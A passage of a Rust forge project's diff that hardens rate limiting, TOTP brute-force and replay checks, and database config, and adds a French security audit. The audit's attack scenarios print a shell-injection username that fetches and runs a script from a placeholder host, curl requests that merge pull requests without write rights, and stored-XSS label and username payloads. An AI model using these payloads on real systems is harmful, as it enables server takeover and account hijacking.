179 + "sliding rate limiter map full, evicting least-recently-used key"
180 + );
181 + }
182 + evict_if_full(&mut sliding, cap, now);
161 183 }
162 184
163 185 let attempts = sliding.entry(key.to_string()).or_default();
@@ -222,6 +244,39 @@ impl RateLimitService {
222 244 }
223 245 }
224 246
247 +/// Evict the sliding-window key whose most recent timestamp is the oldest
248 +/// (approximate LRU) when `sliding` is at `cap`.
249 +///
250 +/// No-op when the map is under capacity. Empty timestamp lists are treated as
251 +/// "just seen" (`now`) so they are not preferred for eviction.
252 +fn evict_if_full(sliding: &mut HashMap<String, Vec<Instant>>, cap: usize, now: Instant) {
253 + if sliding.len() < cap {
254 + return;
255 + }
256 + if let Some(oldest) = sliding
257 + .iter()
258 + .min_by_key(|(_, v)| v.last().copied().unwrap_or(now))
259 + .map(|(k, _)| k.clone())
260 + {
261 + sliding.remove(&oldest);
262 + }
263 +}
264 +
265 +/// Evict the fixed-window key with the oldest `window_start` when `buckets`
266 +/// is at `cap`. No-op when under capacity.
267 +fn evict_fixed_if_full(buckets: &mut HashMap<String, WindowCounter>, cap: usize) {
268 + if buckets.len() < cap {
269 + return;
270 + }
271 + if let Some(oldest) = buckets
272 + .iter()
273 + .min_by_key(|(_, w)| w.window_start)
274 + .map(|(k, _)| k.clone())
275 + {
276 + buckets.remove(&oldest);
277 + }
278 +}
279 +
225 280 #[cfg(test)]
226 281 mod tests {
227 282 use super::*;
@@ -314,4 +369,128 @@ mod tests {
314 369 assert!(a.check("k", 4).is_err());
315 370 assert!(b.check_window("k", 4, Duration::from_secs(60)).is_err());
316 371 }
372 +
373 + #[test]
374 + fn cloned_limiters_share_buckets() {
375 + let a = RateLimitService::new();
376 + let b = a.clone();
377 + for _ in 0..3 {
378 + a.check_sliding_window("pwd_reset:t@x.test", 3, Duration::from_secs(3600))
379 + .unwrap();
380 + }
381 + assert!(
382 + b.check_sliding_window("pwd_reset:t@x.test", 3, Duration::from_secs(3600))
383 + .is_err()
384 + );
385 + }
386 +
387 + #[test]
388 + fn independent_new_does_not_share() {
389 + let a = RateLimitService::new();
390 + let b = RateLimitService::new();
391 + for _ in 0..3 {
392 + a.check_sliding_window("k", 3, Duration::from_secs(3600))
393 + .unwrap();
394 + }
395 + assert!(
396 + b.check_sliding_window("k", 3, Duration::from_secs(3600))
397 + .is_ok()
398 + );
399 + }
400 +
401 + #[test]
402 + fn evict_if_full_is_noop_under_cap() {
403 + let now = Instant::now();
404 + let mut sliding = HashMap::new();
405 + sliding.insert("a".into(), vec![now]);
406 + evict_if_full(&mut sliding, 8, now);
407 + assert_eq!(sliding.len(), 1);
408 + assert!(sliding.contains_key("a"));
409 + }
410 +
411 + #[test]
412 + fn evict_if_full_drops_key_with_oldest_last_timestamp() {
413 + let now = Instant::now();
414 + let mut sliding = HashMap::new();
415 + for i in 0..8u64 {
416 + sliding.insert(format!("k{i}"), vec![now + Duration::from_millis(i)]);
417 + }
418 + assert_eq!(sliding.len(), 8);
419 +
420 + evict_if_full(&mut sliding, 8, now + Duration::from_secs(1));
421 + assert_eq!(sliding.len(), 7);
422 + assert!(!sliding.contains_key("k0"));
423 +
424 + sliding.entry("k8".into()).or_default().push(now);
425 + assert!(sliding.contains_key("k8"));
426 + assert!(sliding.len() <= 8);
427 + }
428 +
429 + #[test]
430 + fn sliding_window_evicts_lru_instead_of_rejecting_new_key() {
431 + let rl = RateLimitService::new();
432 + let window = Duration::from_secs(3600);
433 + for i in 0..8 {
434 + rl.check_sliding_window_capped(&format!("k{i}"), 10, window, 8)
435 + .unwrap();
436 + }
437 + assert_eq!(rl.sliding_len(), 8);
438 + rl.check_sliding_window_capped("k8", 10, window, 8)
439 + .expect("new key must be admitted via LRU eviction");
440 + assert!(rl.sliding_len() <= 8);
441 + }
442 +
443 + #[test]
444 + fn sliding_window_does_not_evict_when_key_already_tracked() {
445 + let rl = RateLimitService::new();
446 + let window = Duration::from_secs(3600);
447 + for i in 0..8 {
448 + rl.check_sliding_window_capped(&format!("k{i}"), 2, window, 8)
449 + .unwrap();
450 + }
451 + rl.check_sliding_window_capped("k0", 2, window, 8)
452 + .expect("existing key at cap must keep its bucket");
453 + assert_eq!(rl.sliding_len(), 8);
454 + }
455 +
456 + #[test]
457 + fn evict_fixed_if_full_drops_oldest_window_start() {
458 + let now = Instant::now();
459 + let mut buckets = HashMap::new();
460 + for i in 0..8u64 {
461 + buckets.insert(
462 + format!("k{i}"),
463 + WindowCounter {
464 + count: 1,
465 + window_start: now + Duration::from_millis(i),
466 + },
467 + );
468 + }
469 + evict_fixed_if_full(&mut buckets, 8);
470 + assert_eq!(buckets.len(), 7);
471 + assert!(!buckets.contains_key("k0"));
472 + buckets.insert(
473 + "k8".into(),
474 + WindowCounter {
475 + count: 1,
476 + window_start: now,
477 + },
478 + );
479 + assert!(buckets.contains_key("k8"));
480 + assert!(buckets.len() <= 8);
481 + }
482 +
483 + #[test]
484 + fn fixed_window_evicts_instead_of_rejecting_new_key() {
485 + let rl = RateLimitService::new();
486 + let window = Duration::from_secs(60);
487 + for i in 0..8 {
488 + rl.check_window_capped(&format!("k{i}"), 10, window, 8)
489 + .unwrap();
490 + }
491 + assert_eq!(rl.len(), 8);
492 + rl.check_window_capped("k8", 10, window, 8)
493 + .expect("new key must be admitted via eviction");
494 + assert!(rl.len() <= 8);
495 + }
317 496 }
M crates/rustwarden-core/src/services/totp_service.rs
+191 -28
@@ -3,6 +3,10 @@
3 3 //! Provides methods for generating, verifying, and managing TOTP 2FA
4 4 //! including backup codes and login challenge flow.
5 5
6 +use std::collections::HashMap;
7 +use std::sync::{Mutex, OnceLock};
8 +use std::time::Instant;
9 +
6 10 use chrono::{Duration, Utc};
7 11 use sea_orm::{ActiveModelTrait, ColumnTrait, DatabaseConnection, EntityTrait, QueryFilter, Set};
8 12 use totp_rs::{Algorithm, Secret, TOTP};
@@ -16,6 +20,102 @@ const BACKUP_CODE_COUNT: usize = 10;
16 20 const BACKUP_CODE_LENGTH: usize = 8;
17 21 const CHALLENGE_EXPIRY_MINUTES: i64 = 5;
18 22 const MAX_CHALLENGE_ATTEMPTS: i32 = 5;
23 +/// Cap of *summed* challenge attempts per user over 15 minutes.
24 +const MAX_ATTEMPTS_PER_WINDOW: i32 = 15;
25 +const REPLAY_GUARD_TTL_SECS: u64 = 90;
26 +
27 +/// Returns true when the summed challenge attempts reach [`MAX_ATTEMPTS_PER_WINDOW`].
28 +pub(crate) fn totp_window_exceeded(attempts: impl Iterator<Item = i32>) -> bool {
29 + attempts.sum::<i32>() >= MAX_ATTEMPTS_PER_WINDOW
30 +}
31 +
32 +/// Returns the matching TOTP time-step (`unix_time / 30`) if `code` is valid
33 +/// for the current step or skew ±1.
34 +pub(crate) fn matching_totp_step(secret_base32: &str, code: &str) -> Option<u64> {
35 + let secret = Secret::Encoded(secret_base32.to_string());
36 + let totp = TOTP::new(
37 + Algorithm::SHA1,
38 + 6,
39 + 1,
40 + 30,
41 + secret.to_bytes().ok()?,
42 + None,
43 + String::new(),
44 + )
45 + .ok()?;
46 +
47 + // `check` accounts for skew ±1 and compares with constant_time_eq.
48 + // Identify the matching window only after that reject path.
49 + let now = Utc::now().timestamp().max(0) as u64;
50 + if !totp.check(code, now) {
51 + return None;
52 + }
53 + for delta in [-1_i64, 0, 1] {
54 + let Some(step) = (now / 30).checked_add_signed(delta) else {
55 + continue;
56 + };
57 + if totp.generate(step * 30) == code {
58 + return Some(step);
59 + }
60 + }
61 + None
62 +}
63 +
64 +/// Accepts a `(user_id, step)` pair once per 90s in-process window.
65 +///
66 +/// Returns `false` when the same step was already accepted (replay).
67 +pub(crate) fn totp_replay_guard_accept(user_id: Uuid, step: u64) -> bool {
68 + static CACHE: OnceLock<Mutex<HashMap<(Uuid, u64), Instant>>> = OnceLock::new();
69 + let mut cache = CACHE
70 + .get_or_init(|| Mutex::new(HashMap::new()))
71 + .lock()
72 + .unwrap_or_else(|e| e.into_inner());
73 +
74 + let ttl = std::time::Duration::from_secs(REPLAY_GUARD_TTL_SECS);
75 + cache.retain(|_, instant| instant.elapsed() < ttl);
76 +
77 + let key = (user_id, step);
78 + if cache.contains_key(&key) {
79 + return false;
80 + }
81 +
82 + cache.insert(key, Instant::now());
83 + true
84 +}
85 +
86 +/// Finds the first bcrypt-matching backup-code hash index off the async runtime.
87 +///
88 +/// Short-circuits on the first match: the index is not a secret (the attacker
89 +/// already knows the plaintext code they submitted). Join errors become
90 +/// [`AppError::Internal`]. A bcrypt verification failure is a non-match.
91 +async fn find_matching_backup_index(
92 + code: String,
93 + hashed_codes: Vec<String>,
94 +) -> Result<Option<usize>, AppError> {
95 + tokio::task::spawn_blocking(move || {
96 + let mut found = None;
97 + for (i, hashed) in hashed_codes.iter().enumerate() {
98 + if bcrypt::verify(&code, hashed).unwrap_or(false) {
99 + found = Some(i);
100 + break; // allowed: index is not a secret; attacker knows their code
101 + }
102 + }
103 + found
104 + })
105 + .await
106 + .map_err(|e| AppError::Internal(format!("Blocking task failed: {e}")))
107 +}
108 +
109 +/// Verifies a plaintext backup code against a single bcrypt hash off the async runtime.
110 +///
111 +/// Join errors from the blocking thread pool become [`AppError::Internal`].
112 +/// A bcrypt verification failure is treated as a non-match (`false`).
113 +#[cfg(test)]
114 +pub(crate) async fn verify_one_backup(code: String, hashed: String) -> Result<bool, AppError> {
115 + Ok(find_matching_backup_index(code, vec![hashed])
116 + .await?
117 + .is_some())
118 +}
19 119
20 120 /// Response from TOTP setup containing data needed to display QR code
21 121 pub struct TotpSetupResponse {
@@ -159,7 +259,13 @@ impl TotpService {
159 259 .ok_or_else(|| AppError::TotpNotEnabled)?;
160 260
161 261 let secret_base32 = CryptoService::decrypt(&record.secret_encrypted)?;
162 - Self::verify_totp_code(&secret_base32, code)
262 + let Some(step) = matching_totp_step(&secret_base32, code) else {
263 + return Ok(false);
264 + };
265 + if !totp_replay_guard_accept(user_id, step) {
266 + return Ok(false);
267 + }
268 + Ok(true)
163 269 }
164 270
165 271 /// Verify and consume a backup code.
@@ -187,14 +293,9 @@ impl TotpService {
187 293 let mut hashed_codes: Vec<String> = serde_json::from_str(&codes_json)
188 294 .map_err(|e| AppError::Internal(format!("Failed to parse backup codes: {}", e)))?;
189 295
190 - // Find matching code
191 - let mut found_index = None;
192 - for (i, hashed) in hashed_codes.iter().enumerate() {
193 - if bcrypt::verify(code, hashed).unwrap_or(false) {
194 - found_index = Some(i);
195 - break;
196 - }
197 - }
296 + // bcrypt::verify is CPU-bound; run the scan off the async runtime.
297 + let found_index =
298 + find_matching_backup_index(code.to_string(), hashed_codes.clone()).await?;
198 299
199 300 let Some(index) = found_index else {
200 301 return Ok(false);
@@ -286,16 +387,16 @@ impl TotpService {
286 387 db: &DatabaseConnection,
287 388 user_id: Uuid,
288 389 ) -> Result<String, AppError> {
289 - // Check for too many recent failed challenges (anti-brute-force)
390 + // Summed attempt cap across all challenges in the last 15 minutes (E-3).
290 391 let recent_cutoff = Utc::now() - Duration::minutes(15);
291 - let recent_failed = totp_challenge::Entity::find()
392 + let recent = totp_challenge::Entity::find()
292 393 .filter(totp_challenge::Column::UserId.eq(user_id))
293 394 .filter(totp_challenge::Column::CreatedAt.gte(recent_cutoff))
294 - .filter(totp_challenge::Column::Attempts.gte(MAX_CHALLENGE_ATTEMPTS))
295 395 .all(db)
296 396 .await?;
297 397
298 - if recent_failed.len() >= 3 {
398 + if totp_window_exceeded(recent.iter().map(|c| c.attempts)) {
399 + tracing::warn!(%user_id, "TOTP global attempt cap reached");
299 400 return Err(AppError::TotpMaxAttemptsExceeded);
300 401 }
301 402
@@ -393,21 +494,7 @@ impl TotpService {
393 494
394 495 /// Verify a TOTP code against a base32-encoded secret.
395 496 fn verify_totp_code(secret_base32: &str, code: &str) -> Result<bool, AppError> {
396 - let secret = Secret::Encoded(secret_base32.to_string());
397 - let totp = TOTP::new(
398 - Algorithm::SHA1,
399 - 6,
400 - 1,
401 - 30,
402 - secret
403 - .to_bytes()
404 - .map_err(|e| AppError::Internal(format!("Failed to decode TOTP secret: {}", e)))?,
405 - None,
406 - String::new(),
407 - )
408 - .map_err(|e| AppError::Internal(format!("Failed to create TOTP: {}", e)))?;
409 -
410 - Ok(totp.check_current(code).unwrap_or(false))
497 + Ok(matching_totp_step(secret_base32, code).is_some())
411 498 }
412 499
413 500 /// Generate backup codes: returns (plaintext_codes, encrypted_json_of_hashed_codes).
@@ -514,6 +601,64 @@ mod tests {
514 601 }
515 602 }
516 603
604 + #[test]
605 + fn four_challenges_of_four_attempts_are_blocked() {
606 + assert!(totp_window_exceeded([4, 4, 4, 4].into_iter())); // 16
607 + }
608 +
609 + #[test]
610 + fn fourteen_attempts_still_allowed() {
611 + assert!(!totp_window_exceeded([4, 4, 4, 2].into_iter())); // 14
612 + }
613 +
614 + #[test]
615 + fn fifteen_attempts_are_blocked() {
616 + assert!(totp_window_exceeded([4, 4, 4, 3].into_iter())); // 15
617 + }
618 +
619 + #[test]
620 + fn same_step_replay_is_rejected() {
621 + // Dedicated id so parallel tests cannot collide on Uuid::nil().
622 + let uid = Uuid::from_u128(0x_70_70_51_E0_1A_7_u128);
623 + assert!(totp_replay_guard_accept(uid, 42));
624 + assert!(!totp_replay_guard_accept(uid, 42));
625 + assert!(totp_replay_guard_accept(uid, 43));
626 + }
627 +
628 + #[test]
629 + fn matching_totp_step_accepts_current_and_previous_windows() {
630 + let secret = Secret::generate_secret();
631 + let secret_base32 = secret.to_encoded().to_string();
632 + let totp = TOTP::new(
633 + Algorithm::SHA1,
634 + 6,
635 + 1,
636 + 30,
637 + secret.to_bytes().unwrap(),
638 + None,
639 + String::new(),
640 + )
641 + .unwrap();
642 +
643 + let now = Utc::now().timestamp().max(0) as u64;
644 + let current_step = now / 30;
645 + let current_code = totp.generate(current_step * 30);
646 + assert_eq!(
647 + matching_totp_step(&secret_base32, &current_code),
648 + Some(current_step)
649 + );
650 +
651 + if current_step > 0 && totp.ttl().unwrap_or(0) > 1 {
652 + let previous_code = totp.generate((current_step - 1) * 30);
653 + assert_eq!(
654 + matching_totp_step(&secret_base32, &previous_code),
655 + Some(current_step - 1)
656 + );
657 + }
658 +
659 + assert_eq!(matching_totp_step(&secret_base32, "1"), None);
660 + }
661 +
517 662 /// Asserts each generated backup code is unique.
518 663 ///
519 664 /// Same rationale as `test_generate_backup_codes`: the test reads
@@ -537,4 +682,22 @@ mod tests {
537 682 assert!(unique.insert(code.clone()), "Backup codes should be unique");
538 683 }
539 684 }
685 +
686 + #[tokio::test]
687 + async fn verify_one_backup_matches_known_hash_and_rejects_mismatch() {
688 + let hashed = bcrypt::hash("ABCD2345", 4).expect("hash backup code");
689 +
690 + assert!(
691 + verify_one_backup("ABCD2345".to_string(), hashed.clone())
692 + .await
693 + .expect("spawn_blocking join"),
694 + "matching backup code should verify"
695 + );
696 + assert!(
697 + !verify_one_backup("ZZZZ9999".to_string(), hashed)
698 + .await
699 + .expect("spawn_blocking join"),
700 + "mismatched backup code should not verify"
701 + );
702 + }
540 703 }
M database/docker-compose.yml
+6 -3
@@ -9,11 +9,14 @@ services:
9 9 # If you need to create multiple database you can add coma separated databases eg gis,data
10 10 - POSTGRES_DB=${POSTGRES_DB:-database}
11 11 - POSTGRES_USER=${POSTGRES_USER:-user}
12 - - POSTGRES_PASSWORD=${POSTGRES_PASSWORD:-pass3ord}
13 - - ALLOW_IP_RANGE=${ALLOW_IP_RANGE:-0.0.0.0/0}
12 + # Required: copy env.sample to .env and set a unique password. No default.
13 + - POSTGRES_PASSWORD=${POSTGRES_PASSWORD:?Set POSTGRES_PASSWORD in database/.env}
14 + # ALLOW_IP_RANGE n'est pas consommé par ce compose (pas de pg_hba custom).
15 + # Conservé en commentaire pour ne pas prétendre restreindre 0.0.0.0/0 :
16 + # - ALLOW_IP_RANGE=${ALLOW_IP_RANGE:-127.0.0.1/32}
14 17 # Add extensions you need to be enabled by default in the DB. Default are the five specified below
15 18 ports:
16 - - 5432:5432
19 + - "127.0.0.1:5432:5432"
17 20 restart: unless-stopped
18 21 healthcheck:
19 22 test: "exit 0"
M database/env.sample
+4 -1
@@ -1,8 +1,11 @@
1 1 ## environment file for docker-compose and builders
2 +## Copy to database/.env (not committed). POSTGRES_PASSWORD is required
3 +## (`:?` in docker-compose.yml) — there is no compose fallback.
2 4
3 5 COMPOSE_PROJECT_NAME=postgres-rustwarden
4 6 POSTGRES_DB=rustwarden
5 7 POSTGRES_USER=rustwarden_user
6 8 POSTGRES_PASSWORD=change_me_in_production
7 -ALLOW_IP_RANGE=0.0.0.0/0
9 +# ALLOW_IP_RANGE is unused by this compose (no custom pg_hba).
10 +# ALLOW_IP_RANGE=127.0.0.1/32
8 11
A docs/SECURITY_AUDIT.md
+511 -0
@@ -0,0 +1,511 @@
1 +# Audit de sécurité Gitrust — 17 septembre 2026
2 +
3 +Audit statique complet du code et de la configuration, mené du double point de vue
4 +**exploitant de la plateforme** (celui qui déploie) et **utilisateur de la plateforme**
5 +(celui qui s'inscrit et pousse du code).
6 +
7 +| | |
8 +|---|---|
9 +| **Périmètre** | `gitrust-core`, `gitrust-git`, `gitrust-web`, `gitrust-ssh`, `gitrust-ssh-guard`, `gitrust-hooks`, `src/main.rs`, `deployment/`, `docker/`, `database/`, dépendances |
10 +| **Hors périmètre** | `rustwarden-fediverse`, `rustwarden-fediverse-guard` et tous les chemins ActivityPub (features opt-in, exclues sur consigne) |
11 +| **Framework** | `rustwarden-core` lu en seule lecture ; les constats qui en relèvent sont marqués *upstream* |
12 +| **Méthode** | Analyse statique du code source, des gabarits, de la configuration et de l'historique Git. `cargo audit` exécuté. **Aucun test dynamique, aucune exploitation réelle.** |
13 +| **Volume** | ~64 000 lignes de Rust auditées, 9 crates, ~95 constats |
14 +| **Verdict** | **BLOQUANT** — ne pas déployer chez un tiers ni faire de démonstration publique avant traitement des constats critiques |
15 +
16 +---
17 +
18 +## 1. Synthèse exécutive
19 +
20 +### Le verdict en une phrase
21 +
22 +Le **code applicatif est de bonne facture** — les invariants annoncés (pas de `unwrap`, pas
23 +d'`unsafe`, échappement systématique, CSRF réel, aucune injection SQL) sont **tenus dans les
24 +faits**, ce qui est rare. Mais **trois défauts ponctuels ouvrent des chaînes d'attaque
25 +complètes**, et **la configuration livrée est dangereuse en l'état** : des secrets de
26 +production sont versionnés, et le compte administrateur des fichiers de déploiement a pour
27 +mot de passe `password`.
28 +
29 +### Répartition des constats
30 +
31 +| Sévérité | Nombre | Nature |
32 +|---|---|---|
33 +| **CRITIQUE** | 8 | RCE, secrets de production exposés, prise de contrôle administrative |
34 +| **ÉLEVÉE** | 17 | Contournement d'autorisation, XSS stockée, contournement 2FA, CVE pré-authentification |
35 +| **MOYENNE** | 26 | IDOR, énumération, durcissement manquant, déni de service |
36 +| **FAIBLE / INFO** | ~44 | Défense en profondeur, cohérence, hygiène |
37 +
38 +### Les huit constats critiques
39 +
40 +| # | Constat | Localisation | Qui peut l'exploiter |
41 +|---|---|---|---|
42 +| **C-1** | Exécution de code à distance sur l'hôte Gitrust via le nom d'utilisateur interpolé dans un `sh -c` | `ci_worker.rs:380` | Tout utilisateur qui peut s'inscrire |
43 +| **C-2** | Suppression récursive de répertoire arbitraire | `gitrust-hooks/src/lib.rs:221` | Tout utilisateur (via renommage de compte) |
44 +| **C-3** | Fusion de pull request sans aucun droit d'écriture (API REST) | `api/pulls.rs:190` | Tout compte authentifié, sur tout dépôt public |
45 +| **C-4** | `JWT_SECRET`, mot de passe PostgreSQL, `ADMIN_PASSWORD` et `SMTP_PASSWORD` de production dans l'historique Git | commits `91ff499`, `20dbf23` | Quiconque obtient un clone |
46 +| **C-5** | Mot de passe PostgreSQL et `OAUTH_ENCRYPTION_KEY` de production versionnés dans `.env.test` | `.env.test:6` et `:60` | Quiconque lit le dépôt |
47 +| **C-6** | `ADMIN_PASSWORD` vaut littéralement `password` | `.env`, `.env.production`, `.env.local`, `deployment/.env_nuage` | Attaquant distant non authentifié |
48 +| **C-7** | Le placeholder `JWT_SECRET` de `.env.example` passe la validation, et `deploy.sh` le promeut en `.env` | `.env.example:99`, `deploy.sh:417` | Toute instance déployée par un tiers selon le chemin nominal |
49 +| **C-8** | Dump SQL de 22 Mo (utilisateurs, jetons, clés SSH) non couvert par `.gitignore` | `Services/gitrust-backup-2026-05-28-2211.sql` | Un seul `git add .` suffit à le publier |
50 +
51 +### Une cause racine explique quatre constats
52 +
53 +**Le nom d'utilisateur n'est validé nulle part** — ni charset, ni format, ni liste de noms
54 +réservés. `register_submit` (`handlers/auth.rs:391`) transmet la chaîne brute du formulaire à
55 +`UserService::create_user`, et la route API du framework ne contrôle que la longueur
56 +(`length(min = 3, max = 64)`). Cette seule lacune produit **C-1** (injection shell), **C-2**
57 +(suppression de répertoire), **X-2** (XSS stockée visant l'administrateur) et une création de
58 +répertoire hors arborescence (`auth.rs:442`).
59 +
60 +Le projet dispose pourtant du bon outil : les newtypes validés `RepoSlug` et `TeamSlug`
61 +(`gitrust-core/src/types.rs`). Il manque simplement l'équivalent pour `username`. **Un
62 +correctif d'une vingtaine de lignes ferme quatre vulnérabilités dont deux critiques** — c'est
63 +de loin le meilleur rapport effort/bénéfice de tout ce rapport.
64 +
65 +---
66 +
67 +## 2. Chaînes d'attaque — le point de vue d'un utilisateur de la plateforme
68 +
69 +Cette section répond directement à votre demande d'analyse « comme utilisateur de la
70 +plateforme ». Chaque scénario est réalisable par un compte ordinaire, sans privilège.
71 +
72 +### Scénario A — De l'inscription à l'exécution de code sur le serveur (C-1)
73 +
74 +**Prérequis** : pouvoir créer un compte. `ALLOW_REGISTRATION=false` par défaut dans
75 +`.env.example`, mais une instance de démonstration l'ouvre par définition.
76 +
77 +1. L'attaquant s'inscrit avec le nom d'utilisateur `` x`curl${IFS}http://evil/x.sh|sh`y ``.
78 + Aucun `/`, `..` ni `\` : les trois seuls filtres existants sont contournés. C'est un nom de
79 + répertoire Linux parfaitement valide, et il est créé sur le disque.
80 +2. Il crée un dépôt, y dépose un `.gitrust-ci.yml` minimal, et pousse.
81 +3. Le worker CI appelle `prepare_workspace`, qui construit :
82 +
83 +```rust
84 +// crates/gitrust-core/src/services/ci_worker.rs:380
85 +let mut cmd = Command::new("sh");
86 +cmd.arg("-c").arg(format!(
87 + "git --git-dir {} archive --format=tar {} | tar -xf - -C {}",
88 + task.disk_path.display(), // contient le username, non échappé
89 + task.commit_sha,
90 + workspace_dir.display(),
91 +))
92 +```
93 +
94 +4. La substitution de commande s'exécute **sur l'hôte Gitrust lui-même**, avec l'identité du
95 + processus de la forge — **avant** tout envoi vers le runner distant. L'isolation prévue par
96 + l'architecture CI est intégralement contournée.
97 +
98 +**Ce que l'attaquant obtient** : lecture de `GIT_REPOS_BASE_PATH` (tous les dépôts privés de
99 +tous les utilisateurs), du `.env` (`DATABASE_URL`, `JWT_SECRET`, `SMTP_PASSWORD`), et de la clé
100 +SSH du runner. Avec le `JWT_SECRET`, il forge un jeton administrateur. **Compromission totale.**
101 +
102 +Le paradoxe est que le bon patron existe déjà dans le même dépôt : `sbom_service.rs:211` fait
103 +exactement la même opération en argv natif, sans shell, et valide `commit_sha` contre
104 +`^[0-9a-f]{40}$`. `ci_worker` aurait dû le recopier.
105 +
106 +### Scénario B — Écrire dans le dépôt de quelqu'un d'autre (C-3)
107 +
108 +**Prérequis** : un compte, et un dépôt public quelconque.
109 +
110 +`resolve_api_repo` (`api/repos.rs:42-86`) ne vérifie **que la lecture** : permission explicite
111 +ou `is_public`. Le contexte qu'il renvoie ne porte aucune notion d'écriture. `merge_pull` s'en
112 +contente et écrit directement dans le dépôt bare :
113 +
114 +```bash
115 +# 1. Ouvrir une PR (create_pull ne demande également que la lecture)
116 +curl -X POST https://forge/api/v1/repos/victime/projet/pulls \
117 + -H "Authorization: token <son_propre_PAT>" \
118 + -d '{"title":"x","source_branch":"une-branche","target_branch":"main"}'
119 +
120 +# 2. La fusionner dans main
121 +curl -X POST https://forge/api/v1/repos/victime/projet/pulls/42/merge \
122 + -H "Authorization: token <son_propre_PAT>"
123 +# → 200 : commit de merge écrit dans refs/heads/main, CI déclenchée
124 +```
125 +
126 +Le handler SSR équivalent fait bien le contrôle (`pull_requests.rs:494`, « only maintainers can
127 +merge »). C'est l'API REST qui l'a perdu en route. **Pour une forge, l'intégrité du code d'un
128 +dépôt est l'invariant fondamental : ce constat seul justifie un correctif immédiat.**
129 +
130 +La même cause racine — l'absence de notion `can_push` dans le contexte résolu — laisse neuf
131 +autres handlers d'écriture gardés par un simple droit de lecture (voir §4.2, AUTHZ-03) :
132 +fermer et rouvrir les issues et les PR, commenter, créer une PR. Un compte lambda peut fermer
133 +l'intégralité du suivi de bugs d'un dépôt public.
134 +
135 +### Scénario C — Exécuter du JavaScript chez le mainteneur (X-1)
136 +
137 +**Prérequis** : accès en lecture à un dépôt, et le droit d'ouvrir une issue.
138 +
139 +Askama échappe correctement le HTML, mais **l'échappement HTML ne protège pas un contexte
140 +JavaScript imbriqué dans un attribut** : le parseur décode `&#39;` en `'` *avant* que le
141 +moteur JS ne compile le source.
142 +
143 +```html
144 +<!-- crates/gitrust-web/templates/repository/issue_detail.html:146 -->
145 +onclick="removeSubjectTag(this, '{{ label.name }}')"
146 +```
147 +
148 +Les labels « subject » sont créés à la volée par n'importe quel auteur d'issue
149 +(`issue_labels.rs:78-105`), et `validate_label_name` ne contrôle que la longueur. Un label
150 +nommé `x'+alert(document.domain)+'` s'exécute chez le mainteneur qui ouvre l'issue.
151 +
152 +La CSP ne rattrape rien : elle contient `script-src 'unsafe-inline'`. Et `'unsafe-eval'` y
153 +figure aussi alors qu'il est démontrablement inutile (ni Mermaid ni htmx n'en ont besoin ici).
154 +
155 +**Variante visant l'administrateur (X-2)** : le nom d'utilisateur est injecté dans un
156 +`onsubmit` sur `/admin/users/{id}` (`admin/user_detail.html:126`). Puisque `username` n'est pas
157 +validé, s'inscrire sous `x'+fetch('/admin/…')+'` suffit à exécuter du code dans la session de
158 +l'administrateur qui consulte la fiche du compte.
159 +
160 +### Scénario D — Contourner le second facteur (AUTH-01, AUTH-04)
161 +
162 +Deux défauts se combinent pour un attaquant qui détient déjà un mot de passe (phishing, fuite
163 +d'une base tierce, réutilisation).
164 +
165 +D'abord, le contrôle 2FA **échoue en mode ouvert** :
166 +
167 +```rust
168 +// crates/gitrust-web/src/handlers/auth.rs:144-148
169 +match TotpService::is_totp_enabled(&db, user.id).await {
170 + Ok(true) => { /* challenge 2FA */ }
171 + Err(e) => { tracing::error!("Failed to check TOTP status: {e}"); } // ← puis JWT délivré
172 + _ => {}
173 +}
174 +```
175 +
176 +Toute erreur SQL — saturation du pool, indisponibilité passagère — délivre un JWT complet sans
177 +second facteur. Or `POST /login` **n'a aucun rate limiting** (le limiteur du framework ne couvre
178 +que `/api/v1/auth/login`, et nginx n'en pose aucun), ce qui donne précisément le moyen de
179 +provoquer cette saturation.
180 +
181 +Ensuite, l'anti-brute-force TOTP est inopérant : il ne compte que les challenges **saturés**
182 +(`attempts >= 5`). S'arrêter à 4 essais puis redemander un challenge n'est jamais comptabilisé,
183 +donc le nombre de tentatives est illimité. Le second facteur se réduit à un délai.
184 +
185 +### Scénario E — Le mot de passe `password` (C-6)
186 +
187 +Le plus simple, et le plus dommageable en démonstration. L'empreinte SHA-256 de
188 +`ADMIN_PASSWORD` dans `.env`, `.env.production`, `.env.local` et `deployment/.env_nuage` est
189 +`5e884898da28…`, soit la chaîne `password`. Le compte administrateur créé au premier démarrage
190 +est protégé par le mot de passe le plus testé au monde, sur un service écoutant en `0.0.0.0`.
191 +Le rate limiting ne protège pas contre une tentative unique et correcte.
192 +
193 +---
194 +
195 +## 3. Inventaire des constats
196 +
197 +### 3.1 Critiques
198 +
199 +| ID | Constat | Fichier:ligne | Confiance |
200 +|---|---|---|---|
201 +| C-1 | RCE via `username` interpolé dans `sh -c` (CI) | `gitrust-core/src/services/ci_worker.rs:380` | confirmé |
202 +| C-2 | `remove_dir_all` sans validation dans `on_user_deleted` | `gitrust-hooks/src/lib.rs:221` | confirmé |
203 +| C-3 | Fusion de PR sans contrôle d'écriture (API) | `gitrust-web/src/handlers/api/pulls.rs:190` | confirmé |
204 +| C-4 | Secrets de production dans l'historique Git | commits `91ff499`, `20dbf23` | confirmé |
205 +| C-5 | Mot de passe PG + clé OAuth de prod dans `.env.test` versionné | `.env.test:6`, `:60` | confirmé |
206 +| C-6 | `ADMIN_PASSWORD=password` | 4 fichiers d'environnement | confirmé |
207 +| C-7 | Placeholder `JWT_SECRET` valide + promu par `deploy.sh` | `.env.example:99`, `deployment/deploy.sh:417` | confirmé |
208 +| C-8 | Dump SQL 22 Mo non gitignoré | `Services/gitrust-backup-2026-05-28-2211.sql` | confirmé |
209 +
210 +### 3.2 Élevées
211 +
212 +| ID | Constat | Fichier:ligne |
213 +|---|---|---|
214 +| E-1 | Fail-open du contrôle 2FA au login SSR | `handlers/auth.rs:144` |
215 +| E-2 | Aucun rate limiting sur `POST /login` | `handlers/auth.rs:85` |
216 +| E-3 | Anti-brute-force TOTP inopérant (compte les challenges saturés) | `rustwarden-core/.../totp_service.rs:289` *(upstream)* |
217 +| E-4 | Vérification email contournée : login SSR ignore `EMAIL_VALIDATION_REQUIRED`, inscription sans mail | `handlers/auth.rs:85`, `:430` |
218 +| E-5 | XSS stockée via nom de label dans `onclick` | `templates/repository/issue_detail.html:146`, `fragments/labels_suggest.html:7` |
219 +| E-6 | XSS stockée via nom d'utilisateur dans `onsubmit` | `templates/admin/user_detail.html:126`, `repository/settings.html:95` |
